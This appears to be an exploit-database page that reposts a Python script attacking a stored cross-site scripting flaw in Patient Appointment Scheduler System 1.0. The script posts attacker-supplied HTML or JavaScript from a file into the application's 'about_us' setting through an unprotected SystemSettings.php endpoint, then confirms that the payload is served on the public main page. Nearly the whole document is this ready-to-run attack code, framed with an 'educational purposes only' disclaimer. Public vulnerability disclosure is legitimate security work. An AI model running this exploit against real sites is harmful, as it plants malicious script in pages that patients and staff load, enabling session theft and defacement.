Patient appointment scheduler system 1.0 persistent crosssite scripting Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2021-09-06 | Type : webapps | Platform : php
This exploit / vulnerability Patient appointment scheduler system 1.0 persistent crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS
# Date: 03/09/2021
# Exploit Author: a-rey
# Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14928
# Version: v1.0
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import logging
import requests
import argparse

BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║
╚═══════════════════════════════════════════════════════════════════╝
by: \033[0m\033[1;31m █████╗ ██████╗ ███████╗██╗ ██╗\033[0m
\033[0m\033[1;32m██╔══██╗ ██╔══██╗██╔════╝██║ ██║\033[0m
\033[0m\033[1;33m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝\033[0m
\033[0m\033[1;34m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[0m
\033[0m\033[1;35m██║ ██║ ██║ ██║███████╗ ██║ \033[0m
\033[0m\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m
"""


def exploit(url:str, file:str) -> None:
if not os.path.exists(file):
logging.error(f'{file} does not exist?')
return
logging.info(f'reading {file} for XSS content ...')
with open(file, 'r') as f:
xssPayload = f.read()
logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')
r = requests.post(url + '/classes/SystemSettings.php',
data={'about_us' : xssPayload},
params={'f' : 'update_settings'},
verify=False
)
if not r.ok:
logging.error('HTTP request failed')
return
logging.info('checking for XSS payload on main page ...')
r = requests.get(url)
if xssPayload not in r.text:
logging.error(f'XSS injection failed? received: {r.text}')
logging.warning('maybe about.html is not writable?')
return
logging.success('XSS payload found on target website')
return


if __name__ == '__main__':
# parse arguments
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-u', '--url', help='website URL', type=str, required=True)
parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True)
parser.add_argument('--debug', help='enable debugging output', action='store_true', default=False)
args = parser.parse_args()
# define logger
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
# print banner
print(BANNER)
# run exploit
exploit(args.url, args.file)